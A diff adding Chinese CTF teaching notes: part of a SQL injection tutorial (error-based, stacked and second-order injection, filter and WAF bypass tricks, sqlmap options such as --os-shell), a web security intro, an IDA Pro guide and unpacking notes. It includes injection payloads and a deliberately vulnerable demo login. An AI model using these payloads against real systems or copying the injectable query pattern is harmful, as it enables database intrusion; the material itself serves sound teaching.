+有的时候当 Web 应用虽然没有回显，但开启了 Debug 模式或者开启了显示报错的话，一旦 SQL 语句执行报错了，那么就会将错误信息显示出来，那报错的信息能否成为一种带出关键信息的回显呢？
+
+可以！
+
+让我们再对 demo 的代码做一些修改，用来探究以下如何利用报错来外带信息。
+
+```python
+#!/usr/bin/python
+# -*- coding: UTF-8 -*-
+
+from sqlalchemy import create_engine, exc
+from hashlib import sha256
+
+engine = create_engine("mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli", max_overflow=5)
+
+def query(username, password):
+    with engine.connect() as con:
+        query_exec = f"SELECT password FROM users WHERE username = '{username}'"
+        print(query_exec)
+        try:
+            if con.execute(query_exec).scalar():
+                passhash = con.execute(query_exec).fetchone()[0]
+                return passhash == sha256(password.encode()).hexdigest()
+        except exc.SQLAlchemyError as e:
+            print(str(e.__dict__['orig'])) # 输出捕获的错误信息
+        return False
+
+def main():
+    username = input("Give me your username: ")
+    password = input("Give me your password: ")
+    print("Login success" if query(username, password) else "Login failed")
+
+if __name__ == "__main__":
+    main()
+```
+
+![](https://cdn.xyxsw.site/boxcnl67uDDSIdh3J7y7Jxjk0dc.png)
+
+这样一来如果 SQL 语句执行报错的话，错误信息就会被打印出来
+
+我收集了十个在 MySQL 中常见的可以用来进行报错注入的函数，我将他们常见的攻击手法都整理一下，放在底下供大家参考，原理和先前的有回显注入的方式并无区别。
+
+关于函数的原型与定义可以翻阅 MySQL 文档
+
+MySQL 5.7 doc: [https://dev.mysql.com/doc/refman/5.7/en/](https://dev.mysql.com/doc/refman/5.7/en/)
+
+MySQL 8.0 doc: [https://dev.mysql.com/doc/refman/8.0/en/](https://dev.mysql.com/doc/refman/8.0/en/)
+
+需要注意的是旧版本的某些函数在新版本中可能已经失效，具体在这里不一一列举
+
+1. `floor`
+2. `extractvalue`
+3. `updatexml`
+4. `geometrycollection`
+5. `multipoint`
+6. `polygon`
+7. `multipolygon`
+8. `linestring`
+9. `multilinestring`
+10. `exp`
+
+### 堆叠注入
+
+当注入点使用的执行函数允许一次性执行多个 SQL 语句的时候，例如 PHP 中的 `multi_query`，堆叠注入即存在。堆叠注入相较于其他方式，利用的手法更加自由，不局限于原来的 SELECT 语句，而可以拓展到 INSERT、SHOW、SET、UPDATE 语句等。
+
+`Liki4';INSERT INTO users VALUES ('Liki3','01848f8e70090495a136698a41c5b37406968c648ab12133e0f256b2364b5bb5');#`
+
+![](https://cdn.xyxsw.site/boxcnrMIc2m6oubxC86CEtw1jMe.png)
+
+![](https://cdn.xyxsw.site/boxcnVRdntvakiTpt7nP8JhKKfc.png)
+
+INSERT 语句也被成功执行了，向数据库中插入了 Liki3 的数据
+
+### 二次注入
+
+二次注入的原理与前面所有的注入方式一致，仅仅在于触发点不同。
+
+在某些 Web 应用中，注册时对用户的输入做了良好的预处理，但在后续使用的过程中存在未做处理的注入点，此时即可能造成二次注入
+
+常见的场景，例如某平台在用户注册时无法进行 SQL 注入利用，但在登陆后的用户个人信息界面进行数据查询时存在可利用的注入点。
+
+那么我们在注册的时候即便无法当即触发 SQL 注入，但可以将恶意 payload 暂时写入到数据库中，这样一来当我们访问个人信息界面查询这个恶意 payload 的时候即会在可利用的注入点触发 SQL 注入。
+
+## SQL 注入常见的过滤绕过方式
+
+### 空格被过滤
+
+1. `/*xxx*/` MySQL 行内注释
+
+`SELECT/*1*/username,password/*1*/FROM/*1*/users;`
+
+1. `()`
+
+`SELECT(username),(password)FROM(users);`
+
+1. `%20 %09 %0a %0b %0c %0d %a0 %00` 等不可见字符
+
+### 引号被过滤
+
+1. 十六进制代替字符串
+
+`SELECT username, password FROM users WHERE username=0x4c696b6934`
+
+### 逗号被过滤
+
+1. `from for`
+
+`select substr(database(),1,1);`
+
+`select substr(database() from 1 for 1);`
+
+`select mid(database() from 1 for 1);`
+
+1. `join`
+
+`select 1,2`
+
+`select * from (select 1)a join (select 2)b`
+
+1. `like/rlike`
+
+`select ascii(mid(user(),1,1))=80`
+
+`select user() like 'r%'`
+
+1. `offset`
+
+`select * from news limit 0,1`
+
+`select * from news limit 1 offset 0`
+
+### 比较符号 `(<=>)` 被过滤
+
+1. `=` 用 `like, rlike, regexp` 代替
+
+`select * from users where name like 'Liki4'`
+
+`select * from users where name rlike 'Liki4'`
+
+`select * from users where name regexp 'Liki4'`
+
+1. `<>` 用 `greatest()、least()`
+
+`select * from users where id=1 and ascii(substr(database(),0,1))>64`
+
+`select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64`
+
+1. `between`
+
+`select * from users where id between 1 and 1;`
+
+### `or and xor not` 被过滤
+
+1. `and = &&`
+2. `or = ||`
+3. `xor = |`
+4. `not = !`
+
+### 常用函数被过滤
+
+1. `hex()、bin() = ascii()`
+2. `sleep() = benchmark()`
+3. `concat_ws() = group_concat()`
+4. `mid()、substr() = substring()`
+5. `@@user = user()`
+6. `@@datadir = datadir()`
+
+### 宽字节注入
+
+在 GB2312、GBK、GB18030、BIG5、Shift_JIS 等编码下来吃掉 ASCII 字符的方法，可以用来绕过 `addslashes()`
+`id=0%df%27%20union%20select%201,2,database();`
+
+![](https://cdn.xyxsw.site/boxcnaRtyUGC0sX3btnFIgpDCob.png)
+
+### information_schema 被过滤
+
+在 SQL 注入中，`infromation_schema` 库的作用无非就是可以获取到 `table_schema, table_name, column_name` 这些数据库内的信息。
+
+#### MySQL 5.6 的新特性
+
+在 MySQL 5.5.x 之后的版本，MySQL 开始将 innoDB 引擎作为 MySQL 的默认引擎，因此从 MySQL 5.6.x 版本开始，MySQL 在数据库中添加了两张表，`innodb_index_stats` 和 `innodb_table_stats`，两张表都会存储数据库和对应的数据表。
+
+因此，从 MySQL 5.6.x 开始，有了取代 `information_schema` 的表名查询方式，如下所示
+
+```python
+select table_name from mysql.innodb_index_stats where database_name=*database*();
+select table_name from mysql.innodb_table_stats where database_name=*database*();
+```
+
+![](https://cdn.xyxsw.site/boxcnbMtjAq8osStjcSbFuIdDSc.png)
+
+#### MySQL 5.7 的新特性
+
+由于 `performance_schema` 过于发杂，所以 MySQL 在 5.7 版本中新增了 `Sys schema` 视图，基础数据来自于 `performance_chema` 和 `information_schema` 两个库。
+
+而其中有这样一个视图，`schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer`，我们可以翻阅官方文档对其的解释
+
+> 查询表的统计信息，其中还包括 InnoDB 缓冲池统计信息，默认情况下按照增删改查操作的总表 I/O 延迟时间（执行时间，即也可以理解为是存在最多表 I/O 争用的表）降序排序，数据来源：performance_schema.table_io_waits_summary_by_table、sys.x$ps_schema_table_statistics_io、sys.x$innodb_buffer_stats_by_table
+
+其中就包含了存储数据库和对应的数据表，于是就有了如下的表名查询方式
+
+```sql
+select table_name from sys.schema_table_statistics_with_buffer where table_schema=*database*();
+select table_name from sys.x$schema_table_statistics_with_buffer where table_schema=*database*();
+```
+
+![](https://cdn.xyxsw.site/boxcnV68mdIQmovJwczDsOc53gc.png)
+
+### 无列名注入
+
+在因为 `information_schema` 被过滤或其他原因无法获得字段名的时候，可以通过别名的方式绕过获取字段名的这一步骤
+
+`select a,b from (select 1 as a, 2 as b union select * from users)x;`
+
+![](https://cdn.xyxsw.site/boxcnI3jJNlLqq4f7WqRKGEWTeh.png)
+
+## 超脱 MySQL 之外 (TODO)
+
+### 不同数据库后端的判别
+
+虽然在以往的 CTF 比赛中，MySQL 的出镜率非常高，但在绝大多数的生产环境中（起码在国内），OracleDB、MSSQL 等数据库是绝对的占有率霸主。而一些大型互联网企业则可能使用的是更新的“高新技术”，例如 ClickHouse、PostgreSQL、MongoDB 等。
+
+那么如何去判别一个 Web 应用的数据库后端用的是什么呢？
+
+这一小节就来简单地讲一讲一些针对这种情况的常见方法。
+
+### 各数据库的攻击面拓展
+
+### noSQL 注入
+
+工具 nosqlmap
+
+## SQL 注入防范手段 (TODO)
+
+## 一些 CVE 复现 (TODO)
+
+### ThinkPHP SQL 注入
+
+### Django SQL 注入
+
+### Gorm SQL 注入
+
+## 数据库注入工具 SQLMAP 及其高级使用指南
+
+> 这里不讨论诸如 -u 这种简单参数
+
+### 一些特殊参数
+
+#### -r [文件名]
+
+当你从 Burp 之类的工具中发现了 数据库注入的痕迹
+
+可以全选右键保存你发送有效载荷（含有 Sql 注入的语句）的明文报文
+
+复制到文件中保存
+
+使用 -r 后跟保存的文件 sqlmap 会自动获得发送恶意报文的神奇能力（x 其实是自动解析了）
+
+对你传入的报文的目标进行自动化的 sql 注入
+
+#### --sql-shell
+
+在摸索到 数据库注入的时候 生成一个交互式的数据库注入
+
+可以直接编写可执行的 sql 语句
+
+例如 select "123"
+
+Sqlmap 会自动探寻目标的注入返回结果 减少手动编写 payload 的辛劳
+
+> 尤其是写了半天发现引号对不上等等
+
+#### --os-shell
+
+一个新手以为很牛逼但是其实很鸡肋的功能 可以获取 shell 一般是通过数据库注入获取到写文件的权限，写入 webshell 文件 的原理拿到对方机器的 shell
+
+可是这个玩意非常的鸡肋
+
+因为 默认数据库配置不具有这种问题需要另外配置 此外环境需要支持类似动态执行的功能 例如 go 起的 web
+
+#### --random-agent
+
+一般不用 但是 sqlmap 在进行 web 的注入时会使用 sqlmap 的 User-Agent 痕迹非常明显
+
+可以用这个消磨一下自己的痕迹
+
+#### --second-url
+
+对于一些非常复杂的数据库二次注入 sqlmap 其实是没有办法的 例如需要鉴权（？）
+
+> 此处有待考证
+
+但是对于简单的一些二次注入，可以通过这个参数获取到存在数据库注入界面的结果界面。让 sqlmap 获取到 数据库注入的结果。
+
+#### --technique
+
+技巧 指定 sqlmap 使用的注入技术
+
+有以下几种
+
+- `t` 基于时间 time
+- `b` 基于布尔 boolean
+- `e` 基于报错 error
+- `u` 联合注入 union
+- `q` 内联注入 inline query
+- `s` 堆叠注入 stack
+
+通常而言 sqlmap 在进行自动化注入尝试的时候常常是会先检测到 time 这一类注入
+
+但是对于 union 和 boolean 则是最后进行检查的
+
+而往往当你存在 union 或者 boolean 注入的时候，其实 time 多半也会一同存在
+
+Sqlmap 很可能在接下来的 数据库注入后利用中使用耗时更为巨大的 time 注入技巧
+
+这对于攻击者其实是不利的
+
+那么通过这个参数去指定对应的注入技巧 可以大大减少数据库注入获取结果的时间 优化你的进攻效率
+
+#### --dbms
+
+指定对应的数据库类型
+
+Mysql mssql 之类的 sqlmap 就不会去搜索爆破其他类型的数据库
+
+#### --hex
+
+以十六进制来进行注入的技巧
+
+在数据注入的时候使用这个可以规避掉一些 WAF
+
+## WAF 绕过 - 将特殊的 payload 编码的脚本
+
+## 自定义 Payload - 自定义你的核心攻击语句
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.1Web安全.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.1Web安全.md
new file mode 100644
index 0000000..4a96de8
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/6.计算机安全/6.1Web安全.md
@@ -0,0 +1,93 @@
+# Web 入门指北
+
+> 本文来自 HGAME Mini 2022 Web 入门材料，目的是为了帮助新生更好的入门 Web 安全。
+
+## 0x00 前言
+
+本文希望为对 Web 感兴趣的同学提供在入门方向上的指导，以便与更加平滑的入门 Web 方向的学习。
+
+## 0x01 Web 安全基础
+
+### Web 安全是什么
+
+首先 Web 安全是 CTF 比赛一直以来都很重要的一部分，CTF 比赛目前主体还是 Jeopardy 解题模式，主要分为 Web 安全，Re 逆向工程，Pwn,Crypto 密码学，Misc 安全杂项五个方向。相比于 Re 和 Pwn 两个二进制方向，Web 安全在初期入门时门槛较低，并不需要太多对底层知识的了解，对小白也较为友好，能够比较快速的上手做题。
+
+虽然 Web 安全入门门槛比较低，但是不得不承认需要学习的技术栈很多，在说起你经常听闻的 Java、Php、Go、Javascript 等种种语言之前，我们先来看看 Web 应用的发展史，理解一下 Web 应用是什么。
+
+### Web 发展史
+
+> 这段发展史可能有很多名字不太好懂，但是提到这一段发展史是希望你能够对 Web 技术的发展过程有个框架性的理解，如果有很多困惑的地方可以多多使用搜索引擎
+
+最初的 Web 应用是静态页面，托管在 ISP(Internet Service Provider) 上，主要就是比较简单的文字，图片，当时能做的也就是简单浏览网页。而后有了 Flash 等多媒体技术，网页的功能开始逐渐丰富，音视频和网页的动态交互也让网页开始能够完成更多的事，给用户更好的体验。再随着 CGI(Common Gateway Interface) 的产生，CGI 是 Web 服务器和外部应用程序的通信接口标准，Web 服务器就可以通过 CGI 执行外部程序，再通过外部程序根据请求内容生成动态内容。再之后随着 PHP/JSP 等编程语言的加入，MVC 思想、REST(Representation State Transformation) 架构风格的产生，Web 应用开发技术也逐步变化，直到如今，Web 应用的开发技术主要分为前端和后端。**简单来说，前端就是用户直接可以看见的部分，比如说我们访问百度，百度页面上面的搜索框、按钮、logo，搜索后展示的网页文字和内容，这些都是属于前端的范畴；而后端主要是用户看不见的部分，比如在百度上搜索 Vidar-Team，会能根据搜索内容返回相关的文章，这就是后端所做的部分**。
+
+### Web 应用的数据是如何交互的
+
+> 非常推荐查看 MDN 文章[万维网是如何工作的](https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/How_the_Web_works)和[浏览器的工作原理](https://developer.mozilla.org/zh-CN/docs/Web/Performance/How_browsers_work)详细了解一下～
+
+而 Web 应用的数据是如何交互的呢？为什么用户输入`https://vidar.club`访问协会官网后浏览器上就会呈现页面呢？
+
+![What happens when you visit a URL](https://ek1ng.oss-cn-hangzhou.aliyuncs.com/1.png)
+
+当我们在浏览器的地址栏中输入`https://vidar.club`后，首先会做的事情是 DNS 查询，浏览器会去寻找页面资源的位置，也就是寻找这个域名对应的 ip 地址是多少。因为 ip 地址的格式为 xxx.xxx.xxx.xxx，这对于一个用户并不容易记住，因此我们用形象的域名来让用户记住网址，你看，`vidar.club`就比`1.117.117.147`这个 ip 好记太多了吧。浏览器根据域名`vidar.club`向 DNS 服务器查询对应 ip 地址，得到响应对应 ip 地址为`1.117.117.147`。
+
+而当浏览器知道了服务器的 IP 地址后，就会与服务器进行 TCP 三次握手，三次握手机制是用来让两端尝试进行通信，之后为了让链接更加安全，就会进行 TLS 协商。你看我们输入的是`https://`，这表明我们使用了 https 协议进行访问，http 协议的数据传输是明文的，这并不安全，而 https 使用 ssl/tls 协议进行加密处理，这会让访问变得安全。顺带一提如果使用 http 访问协会官网也会强制使用 https 哦，可以试一试`http://vidar.club`。当三次握手和 TLS 协商完成后，我们就已经和服务器建立了安全连接啦。
+
+建立安全连接后，浏览器会向服务器发送 HTTP Get 请求，请求服务器返回我们事先放在服务器上面的对应网页的内容，这个请求的内容通常是一个 HTML 文件，而当服务器受到请求后，就会使用相关的响应头和 HTML 的内容进行回复。
+
+浏览器收到服务端的 200 OK 的 HTTP 响应，收到服务端发过来的 HTML 文件后，会处理 HTML 标记并且构建 DOM 树，最终就形成了你看到的页面啦。
+
+HTTP 请求和响应的具体内容可以使用浏览器（推荐使用 Chrome、Firefox 或 Edge）的 F12 开发者工具进行查看，打开 f12 后选择网络并且刷新页面捕获请求，点击这个 vidar.club 就可以看到啦。
+
+![Chrome 的开发者工具图 1](https://ek1ng.oss-cn-hangzhou.aliyuncs.com/2.png)
+![Chrome 的开发者工具图 1](https://ek1ng.oss-cn-hangzhou.aliyuncs.com/3.png)
+
+## 0x02 Web 安全入门
+
+### 我是零基础小白，从什么开始好呢？
+
+> 万丈高楼平地起
+
+虽然在 Web 安全的技术栈中，会比较少的提及 C/C++安全的问题，更多的都是一些你经常听说的 Java、Php 等语言的安全问题，不过如果你目前是没有任何编程基础，协会也同样推荐打好基础，先好好学习 C 语言。对于没有编程基础的你，从 C 语言这样一门接近底层的高级语言开始学习可以更好学习计算机内部原理，并且学会 C 语言后有一定的编程基础，入门其他语言也绝非难事。
+
+### Web 技术栈
+
+首先需要明确的是，Web 安全和 Web 开发是分不开的，并不是说对安全感兴趣就不需要懂开发，恰恰相反，开发是安全的基础，如果没有开发能力，在之后学习中面对一些代码审计也会感觉到非常茫然，所以学习 Web 安全之前首要的就是先学习 Web 开发。而 Web 开发的学习路线在学长们身上大多不是很固定，有的人接触到的 Web 开发的第一门语言是 PHP,PHP 虽然在现在看来已经不是一门优秀的语言了，后端开发的主流技术栈已经是 Java 和 Go 了，但是 PHP 仍然是一门在安全学习上非常推荐的语言，有很多历史漏洞可以让大家更好的入门。也有的学长最先开始接触的是 Go/Java/Js，那如果你已经有一定 Web 开发基础，可以直接参考下面的学习路线与学习资料，如果你还没有 Web 开发基础并且认为 C 语言已经学的不错了，就可以尝试选择一门自己感兴趣的语言进行学习，并且尝试自己写一些感兴趣的 Web 应用，比如搭建一个博客，写一个 Todolist 用来记事等等，兴趣是最好的导师，一边写自己感兴趣的 Web 应用一边学习是非常不错的。
+
+## 0x03 学习资料与学习路线推荐
+
+- 兔兔的 sql 注入小游戏
+  招新群中的迎新机器人具有一个 blog 功能，这个 blog 功能存在一个 sql 注入的漏洞，通过漏洞查询出数据库中的 flag 可以找管理员兑换一杯奶茶哦～（支线任务 x）
+- 搭建博客
+  博客可以记录自己的学习过程与经历，也可以当作一个 Web 应用开发的小练习
+- 刷题
+  如果你想一边学习 Web 开发一边做做题目，感受一下 Web 安全，可以在协会的招新训练平台上面做做题目，要是毫无头绪也可以问问学长学姐们哦～训练平台上的题目可以帮助你更好的入门 CTF！
+- 学习资料
+  面对网络各式各样的学习资料，这些网站和书籍会对你入门有所帮助
+  - [MDN 网络文档](https://developer.mozilla.org)
+  - [Web 安全学习笔记](https://websec.readthedocs.io)
+  - [CTF wiki](https://github.com/ctf-wiki/ctf-wiki)
+  - [HTML CSS 基础](https://www.w3cschool.cn/)
+  - JS：《JavaScript DOM 编程基础》
+  - C：《C Primer Plus》
+
+    ::: tip 📥
+    《C Primer Plus》（第六版中文版）（216MB）附件下载 <Download url="https://cdn.xyxsw.site/files/C%20Primer%20Plus%E7%AC%AC6%E7%89%88%20%E4%B8%AD%E6%96%87%E7%89%88.pdf"/>
+    :::
+
+  - PHP：《PHP 和 MySQL Web 开发》
+  - Python: 《Python 从入门到实践》的入门部分
+  - HTTP：《图解 HTTP》
+  - 《从 0 到 1：CTFer 成长之路》
+  - 《白帽子讲 Web 安全》
+  
+  上面提到的书协会都有哦，欢迎有空的时候来协会看书自习！
+- 学习路线
+  可以根据上面提到的学习资料和协会的 2022 提前批招新标准进行个人学习路线的规划，这份 Github 上很火的[Web Roadmap](https://github.com/hideraldus13/roadmap-do-desenvolvedor-web)也可以参考一下。
+
+## 0x04 最后
+
+> 勿以浮沙筑高台
+
+欢迎对 Web 安全感兴趣的你，如果在学习过程中遇到困难可以随时在 Vidar-Team 招新群中提问哦，祝你在 Web 安全的学习道路上越走越远～
+
+`VIDAR{Web_1s_3asy_t0_st4rt!!}`
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.2.1基础工具的使用.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.2.1基础工具的使用.md
new file mode 100644
index 0000000..c43d386
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/6.计算机安全/6.2.1基础工具的使用.md
@@ -0,0 +1,303 @@
+# 基础工具的使用
+
+IDA pro（交互式反编译器专业版）是二进制安全研究人员必备的反汇编、反编译工具，功能繁多而强大，反编译结果清晰明了。
+
+IDA pro 是收费软件，价格极其昂贵，一套完全版人民币 10W 左右，因此可以到各大网站下载破解版，注意到一些知名网站下载，比如吾爱破解等，防止下载的软件包含病毒。在编写此文时，IDA pro 更新到了 8.3，网上能找到的最新的版本为 7.7。本文由于版权原因，不提供下载链接。
+
+## 简易使用方法
+
+> 本文档仅作快速入门，更加细节的内容还请读者查阅其他资料以及多加实践。
+>
+> 另外在任何使用上操作的问题，都可以在群里提问！
+
+### 0x00 IDA 简单介绍
+
+![](https://cdn.xyxsw.site/image-20220809113855166.png)
+
+IDA 是一款交互式反汇编和反编译工具，其支持文件类型和文件平台丰富。
+
+可静态分析也可动态调试，可以说是二进制手的吃饭工具了
+
+### 0x01 启动界面
+
+![](https://cdn.xyxsw.site/image-20220809114834244.png)
+
+```txt
+NEW：打开 IDA 同时弹出对话框选择要打开的文件
+Go：单独打开 ida，打开界面将文件拖入
+Previous，或者下面的列表项：快速打开之前的的文件
+```
+
+这里选择 Go 键，打开以后，将文件拖入
+
+![](https://cdn.xyxsw.site/image-20220809124156697.png)
+
+![](https://cdn.xyxsw.site/image-20220809124408179.png)
+
+这里按我们的默认选项点击 OK 即可
+
+### 0x02 关闭界面
+
+![](https://cdn.xyxsw.site/image-20220809125554853.png)
+
+:::tip
+第一个选项：就是不打包数据包文件，那么这些数据库文件就会分开这放。
+
+第二个选项及图中选项：就是把这几个数据库文件打包为 1 个 (如.i64 文件)，下次打开我们分析的文件的时候，打开这个文件即可。
+
+第三个选项：不会删掉数据库文件，而是打包压缩到存储的文件里面去了。
+
+下面两个选项
+第一个选项：回收垃圾，如果打包文件太大了，可以选用这个选项，清理不必要的内存
+
+最后一个选项：当分析时候写错了，选中最后一个，最后一次打开的操作不保留了。(解决错误操作)
+:::
+
+### 0x03 主界面 - IDA View&Pseudocode
+
+反汇编代码的图表窗口
+
+![](https://cdn.xyxsw.site/image-20220809130857159.png)
+
+ 按**空格键**切换成文本结构的反汇编
+
+![](https://cdn.xyxsw.site/image-20220809130940294.png)
+
+ 按**F5**进行反编译跳转至`Pseudocode`(伪代码) 界面
+
+![](https://cdn.xyxsw.site/image-20220809131038284.png)
+
+然后就可以分析代码逻辑了
+
+直接点击函数名可以进入到对应函数内部查看函数逻辑
+
+### 0x04 主界面 -  Hex View
+
+十六进制窗口 (不太常用)
+
+![](https://cdn.xyxsw.site/image-20220809132027773.png)
+
+### 0x05 主界面-Structures
+
+结构体窗口
+
+![](https://cdn.xyxsw.site/image-20220809132130778.png)
+
+### 0x06 主界面-Enums
+
+枚举类型界面
+
+![](https://cdn.xyxsw.site/image-20220809132242739.png)
+
+### 0x07 主界面-Imports
+
+导入表
+
+可以查看当前模块用了哪些模块的哪些函数
+
+![](https://cdn.xyxsw.site/image-20220809132327043.png)
+
+### 0x08 主界面-Exports
+
+导出表
+
+![](https://cdn.xyxsw.site/image-20220809151050575.png)
+
+### 0x09 主界面-Strings
+
+按`Shift+F12`转到`String`界面，该操作会搜索程序中的字符串数据并展示
+
+![](https://cdn.xyxsw.site/image-20220809153126737.png)
+
+按`Ctrl+F`后输入想要检索的字符可以快速搜索字符串
+
+![](https://cdn.xyxsw.site/image-20220809153408536.png)
+
+### 0x0a 其他界面-Functions
+
+罗列了程序中用到的所有函数，包括底层调用的库的函数
+
+其中一般来说`main`是程序的主要函数
+
+![](https://cdn.xyxsw.site/image-20220809151328885.png)
+
+### 0x0b 其他界面-Output
+
+程序的输出信息都会展示在这里
+
+其中包括插件的加载信息、插件/脚本运行时的输出等
+
+另外还可以直接在下面输入 python 语句，方便在 ida 使用过程中简单的数据处理
+
+![](https://cdn.xyxsw.site/image-20220809151536894.png)
+
+### 0x0c 其他界面 - 导航栏
+
+一个二进制文件包括不同的区块，这里显示程序的不同类型数据，不同的颜色代表二进制文件中不同的块
+
+![](https://cdn.xyxsw.site/image-20220809151815243.png)
+
+### 0x0d 常用快捷键
+
+> 边用边记，多打打就会记住了！
+>
+> 只记录了部分
+
+- `;`  为当前指令添加注释
+- `/` 在伪代码中添加注释
+- `g` 跳转到任意地址
+- `Esc` 返回到跳转前的位置
+- `n` 定义或修改名称，常用来修改函数和变量的名字
+- `A` 按照 ASCII 显示数据
+- `D` 分别按字节、字、双字来显示数据
+- `F5`反编译汇编代码，得到 C 伪代码
+- `Shift+F12` 搜索程序中的字符串
+
+- `Alt+t` 搜索程序中的指令
+- `Ctrl+x` 查看变量和函数的引用
+- `Y` 修改变量/函数类型
+- `F2`快速下断点
+
+### 0x0e 常用插件
+
+> 具体安装和使用不在此展开了
+
+- [Find Crypt](https://github.com/polymorf/findcrypt-yara) -- 寻找常用加密算法中的常数（需要安装 [yara-python](https://github.com/VirusTotal/yara-python)）
+- [Keypatch](https://github.com/keystone-engine/keypatch) -- 基于 Keystone 的 Patch 二进制文件插件
+- [LazyIDA: Make your IDA Lazy!](https://github.com/P4nda0s/LazyIDA) -- 快速 Dump 内存数据
+- [Finger](https://github.com/aliyunav/Finger) -- 函数签名识别插件
+- [D810](https://gitlab.com/eshard/d810) -- 去混淆插件
+
+## 0x10 IDA Python
+
+IDA 提供可与其交互的 IDA Python 接口，可以使用 Python 做很多的辅助操作
+
+![](https://cdn.xyxsw.site/image-20220809154742462.png)
+
+可以参考这篇文章了解常用的接口
+
+[IDA Python 常用函数 | 4nsw3r's Blog](https://4nsw3r.top/2022/02/11/IDA%20Python%20%E5%B8%B8%E7%94%A8%E5%87%BD%E6%95%B0/)
+
+## 0x11 IDA 动态调试
+
+> 暂时只对 Windows 和 Linux 下的文件调试做介绍，Mac 和 Android 下的文件调试有待读者后续探索
+
+### 调试 Windows 下的文件
+
+可以先在汇编代码或伪代码界面下断点，然后`F9`选择调试器，这里直接选`Local Windows Debugger`
+
+![](https://cdn.xyxsw.site/image-20220809160044665.png)
+
+之后就可以用 F7(单步不跳过执行)/F8(单步跳过执行)/F9(继续执行，遇到断点停止) 进行调试
+
+![](https://cdn.xyxsw.site/image-20220809163138453.png)
+
+### 调试 Linux 下的文件
+
+可以先在汇编代码或伪代码界面下断点
+
+![](https://cdn.xyxsw.site/image-20220809155352920.png)
+
+由于 Linux 下文件调试比较特殊，需要远程起一个服务器运行服务端，这里可以使用**Vmware**或者**WSL2(Windows subsystem Linux)**进行调试
+
+因篇幅有限，在这里直接贴篇链接供大家学习并选择调试方式
+
+- Vmware 调试 [IDA 动态调试 ELF](https://bbs.kanxue.com/thread-247830.htm)
+- WSL 调试（安装好 WSL 直接运行 ida dbgsrv 目录下 linux_server 文件即可以）
+
+后面是一样的调试步骤
+
+## 0x12 一个简单程序的分析
+
+### 源代码
+
+```c
+#include <stdio.h>
+#include <string.h>
+
+void change(char* str) {
+	for (int i = 0; i < strlen(str) ; i++) {
+		str[i] = str[i] - 1;
+	}
+}
+
+ int check(char* str){
+ 	return strcmp(str, "ek`fzHC@^0r^m/s^b/lo0dw2c|") == 0;
+ }
+
+int main() {
+	char input[100];
+	scanf("%100s", input);
+	change(input);
+	if (check(input)) {
+		printf("You are right\n");
+	}
+	else {
+		printf("You are wrong\n");
+	}
+}
+```
+
+#### 分析历程
+
+##### 将程序拖入 IDA
+
+![](https://cdn.xyxsw.site/image-20220809173439491.png)
+
+![](https://cdn.xyxsw.site/image-20220809173548998.png)
+
+##### F5 分析查看伪代码
+
+![](https://cdn.xyxsw.site/image-20220809173627488.png)
+
+发现有`change`和`check`的自定义函数
+
+按`n`修改一下变量名
+
+![](https://cdn.xyxsw.site/image-20220809174001600.png)
+
+![](https://cdn.xyxsw.site/image-20220809174015603.png)
+
+分别进入里面查看函数逻辑
+
+##### 查看函数逻辑
+
+change 函数
+
+![](https://cdn.xyxsw.site/image-20220809174035800.png)
+
+check 函数
+
+![](https://cdn.xyxsw.site/image-20220809174058831.png)
+
+###### 静态分析逻辑
+
+change 函数是对输入字符串的每一个字节进行修改
+
+然后在 check 函数进行比较
+
+###### 动态分析逻辑
+
+在 change 函数进入前下好断点
+
+随意的进行一些输入
+
+![](https://cdn.xyxsw.site/image-20220809174913326.png)
+
+然后断下来
+
+![](https://cdn.xyxsw.site/image-20220809174957987.png)
+
+F7 进入函数进行单步不跳过调试
+
+![](https://cdn.xyxsw.site/image-20220809175413448.png)
+
+遇到类似`strlen`等库函数可以 F8 单步调试跳过
+
+![](https://cdn.xyxsw.site/image-20220809175459668.png)
+
+可以发现输入字符串的每一个字节的 Ascii 值都减小了 1
+
+##### 脚本编写
+
+试试写一个脚本解出这道题吧！
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.2.2软件破解、软件加固.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.2.2软件破解、软件加固.md
new file mode 100644
index 0000000..95c3fb7
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/6.计算机安全/6.2.2软件破解、软件加固.md
@@ -0,0 +1,60 @@
+# 软件破解、软件加固
+
+## 软件加壳、脱壳技术
+
+壳是一种常见的软件保护技术，通过对前面基础工具的使用，我们很容易发现正常编译出来的程序逆向的难度并不高，只需按 IDA 的 F5 即可浏览程序的大部分逻辑。但加壳后的软件，会将主要逻辑 以一定的规律加密/压缩等，使其不可直接 F5 查看逻辑。
+
+按壳的效果来分，主要分压缩壳和加密壳两种。压缩壳如 UPX，可以将程序体积较大的缩小。加密壳如 VMP，可以对程序起到非常大的防逆向作用，以目前的技术，对 VMP 加壳的程序几乎没有逆向的可能。
+
+### 简单的 UPX 壳
+
+UPX 是一个常见的压缩壳，通过该工具可以比较大的缩小二进制程序的体积，而不影响正常功能
+
+UPX 壳的官网：[https://upx.github.io](https://upx.github.io)
+
+加壳命令（示例）：
+
+```c
+upx -1 文件名
+```
+
+脱壳命令：
+
+```c
+upx -d 文件名
+```
+
+### ESP 定律脱壳法（本节来源于 ctf-wiki：[https://ctf-wiki.org/reverse/platform/windows/unpack/esp/](https://ctf-wiki.org/reverse/platform/windows/unpack/esp/)）
+
+ESP 定律法是脱壳的利器，是应用频率最高的脱壳方法之一。
+
+#### 要点
+
+ESP 定律的原理在于利用程序中堆栈平衡来快速找到 OEP.
+
+由于在程序自解密或者自解压过程中，不少壳会先将当前寄存器状态压栈，如使用 `pushad`, 在解压结束后，会将之前的寄存器值出栈，如使用 `popad`. 因此在寄存器出栈时，往往程序代码被恢复，此时硬件断点触发。然后在程序当前位置，只需要少许单步操作，就很容易到达正确的 OEP 位置。
+
+1. 程序刚载入开始 pushad/pushfd
+2. 将全部寄存器压栈后就设对 ESP 寄存器设硬件断点
+3. 运行程序，触发断点
+4. 删除硬件断点开始分析
+
+#### 示例
+
